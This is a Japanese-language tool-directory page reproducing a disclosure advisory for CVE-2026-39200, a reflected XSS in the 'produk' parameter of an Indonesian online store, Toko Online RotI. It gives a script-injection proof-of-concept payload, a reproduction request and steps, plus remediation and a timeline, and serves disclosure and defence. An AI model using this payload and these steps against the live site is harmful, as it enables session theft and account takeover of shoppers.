Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-39200 — produkリクエストパラメータの値が、二重引用符で囲まれたHTMLタグ属性の値にコピーされます。ペイロードxbnw0"><script>alert(1)</script>skc2hがprodukパラメータに送信されました。この入力は、アプリケーションの応答内でxbnw0\"><script>alert(1)</script>skc2hとしてエコーバックされました。 | Kitploit
ツール/GitHubGitHub/r00tali/cve-2026-39200
脆弱性分析ウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト論文と研究学習と教育
GitHubr00tali/cve-2026-39200

CVE-2026-39200

produkリクエストパラメータの値が、二重引用符で囲まれたHTMLタグ属性の値にコピーされます。ペイロードxbnw0"><script>alert(1)</script>skc2hがprodukパラメータに送信されました。この入力は、アプリケーションの応答内でxbnw0\"><script>alert(1)</script>skc2hとしてエコーバックされました。

リポジトリを見る
303ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-39200 — Toko Online RotI における反映型クロスサイトスクリプティング (XSS)

概要

反映型クロスサイトスクリプティング (XSS) の脆弱性が、Toko Online RotI Web アプリケーションの produk リクエストパラメータで特定されました。このアプリケーションは、ユーザー提供の入力を二重引用符で囲まれた HTML タグ属性内に反映する前に HTML エンコードしていません。攻撃者は、被害者のブラウザセッションのコンテキストで任意の JavaScript を実行させる悪意のある URL を作成し、被害者がその URL にアクセスすると実行されます。

フィールド値
CVE IDCVE-2026-39200
脆弱性タイプCWE-79 — Web ページ生成における入力の不適切な無害化 (反映型 XSS)
影響を受ける製品Toko Online RotI (インドネシアのオンラインストア)
影響を受けるパラメータproduk
発見者Uzair Ali (r00tali) — ペネトレーションテスター / バグバウンティハンター
発見日2026-07-03
CVE 割り当て日2026-07-12
アドバイザリ公開日2026-07-19

脆弱性の詳細

produk リクエストパラメータは、二重引用符で囲まれた HTML タグ属性の値にそのままコピーされます。アプリケーションがユーザー提供の入力を反映する前に HTML エンコードしないため、攻撃者は閉じ二重引用符とその後に続く HTML/JavaScript ペイロードを含むペイロードを送信することで、属性をエスケープできます。

概念実証ペイロード

xbnw0"><script>alert(1)</script>skc2h

このペイロードが produk パラメータとして送信されると、アプリケーションは入力をエスケープせずにレスポンスにエコーバックします。閉じる "> が元の属性を終了させ、注入された <script>alert(1)</script> ブロックがブラウザによって新しい HTML 要素として解釈され、ユーザーのセッション内で任意の JavaScript を実行します。

脆弱なパターン (概念)

<!-- インジェクション前 -->
<input type="text" name="produk" value="USER_INPUT" />

<!-- ペイロード xbnw0"><script>alert(1)</script>skc2h によるインジェクション後 -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
                                                            ^^^^^^^^^^^^^^^^^^^^^^^^
                                                            ブラウザがこれを実行

HTTP リクエスト (再現)

GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0

HTTP レスポンス (抜粋)

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8

<html>
  <body>
    <!-- ... -->
    <input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
    <!-- ... -->
  </body>
</html>

再現手順

  1. Toko Online RotI アプリケーション内で、produk パラメータを HTML 属性内に反映するエンドポイント (例:製品検索、詳細、フィルタページ) を特定する。
  2. produk パラメータの値を次のペイロードに置き換える:
    xbnw0"><script>alert(1)</script>skc2h
    
  3. リクエストをサーバーに送信する。
  4. サーバーのレスポンスを確認する。ペイロードが属性内でそのままエコーバックされ、" をエスケープして DOM 内に有効な <script> 要素が生成される。
  5. 細工されたレスポンスを任意の最新ブラウザで読み込む。JavaScript の alert(1) ダイアログが表示され、被害者のセッション内で任意の JavaScript が実行されたことが確認できる。

影響

この反映型 XSS の悪用に成功すると、攻撃者は以下が可能になります。

  • セッションクッキーと認証トークンを盗み、アカウント乗っ取りにつながる。
  • 認証されたユーザーに代わってアクションを実行する。
  • ユーザーを悪意のあるサイトにリダイレクトする (フィッシング/資格情報収集)。
  • アプリケーションに悪意のあるコンテンツを注入する (改ざん)。
  • 被害者が入力したキーストロークとフォームデータをキャプチャする。
  • ブラウザの脆弱性を悪用してドライブバイ型マルウェアを配信する。
  • ユーザーとアプリケーションドメイン間の信頼関係を悪用する。

この脆弱性は反映型であるため、悪用には被害者が細工されたリンクをクリックするだけでよく、フィッシングキャンペーンで簡単に武器化できます。

CVSS v3.1 (推定): 6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N


修復策

この脆弱性を修復するには、ベンダーは以下を実施する必要があります。

  1. ユーザー提供のすべての値を HTML 出力に反映する前に HTML エンコードする。 具体的には <, >, ", ', & をエンコードする (例: &lt;, &gt;, &quot;, &#x27;, &amp;)。
  2. フレームワークの組み込み出力エンコーディングヘルパーを使用する。 (手動の文字列連結ではなく)
    • PHP: htmlspecialchars($input, ENT_QUOTES, 'UTF-8')
    • ASP.NET: HttpUtility.HtmlEncode(input) または <%: %> 構文
    • Python (Jinja2): {{ input }} (デフォルトで自動エスケープ)
  3. 厳格な Content-Security-Policy (CSP) レスポンスヘッダーを設定する ことで、残存するインジェクションの影響を制限する:
    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
    
  4. すべてのセッションクッキーに HttpOnly および Secure フラグを設定する ことで、JavaScript からの読み取りを防止する。
  5. produk パラメータを期待される製品識別子 (数値 ID、スラッグなど) の許可リストに対して検証し、 一致しないものは拒否する。
  6. X-Content-Type-Options: nosniff を追加する ことで、レスポンスボディの MIME タイプスニッフィングを防止する。

開示タイムライン

日付イベント
2026-07-03許可されたセキュリティテスト中に脆弱性を発見
2026-07-03cveform.mitre.org を介して MITRE に CVE ID をリクエスト
2026-07-12CVE-2026-39200 が MITRE アサインメントチームにより割り当てられる
2026-07-19公開アドバイザリを公開

発見者

** Uzair Ali (r00tali)** — ペネトレーションテスター / バグバウンティハンター / セキュリティ研究者

  • GitHub: https://github.com/r00tali

参考文献

  • OWASP — Cross-Site Scripting (XSS)
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • PortSwigger — Reflected XSS
  • MITRE CVE Record — CVE-2026-39200

免責事項

このアドバイザリは教育および防御目的でのみ公開されています。この脆弱性は、MITRE CVE アサインメントチームを通じた責任ある開示プロセスを通じて報告されました。機密のベンダー情報、顧客データ、または専有コードは開示されていません。概念実証では良性の alert(1) ペイロードを使用しており、バグの存在を示すことを目的としており、稼働中のサービスに対する攻撃を促進するものではありません。

ツールをダウンロード